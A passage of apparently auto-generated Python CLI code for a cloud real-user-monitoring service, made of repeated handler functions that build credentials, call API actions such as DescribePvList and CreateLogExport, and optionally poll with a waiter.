elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribePvListRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribePvList(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeLogExports(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeLogExportsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeLogExports(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataWebVitalsPage(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataWebVitalsPageRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataWebVitalsPage(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteStarProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteStarProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteStarProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataFetchUrlInfo(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataFetchUrlInfoRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataFetchUrlInfo(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataPvUrlStatistics(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataPvUrlStatisticsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataPvUrlStatistics(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeData(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeData(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeReleaseFileSign(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeReleaseFileSignRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeReleaseFileSign(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateLogExport(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateLogExportRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateLogExport(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataSetUrlStatistics(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataSetUrlStatisticsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataSetUrlStatistics(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataStaticResource(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataStaticResourceRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataStaticResource(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeProjectLimits(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeProjectLimitsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeProjectLimits(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataCustomUrl(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataCustomUrlRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataCustomUrl(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateWhitelist(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
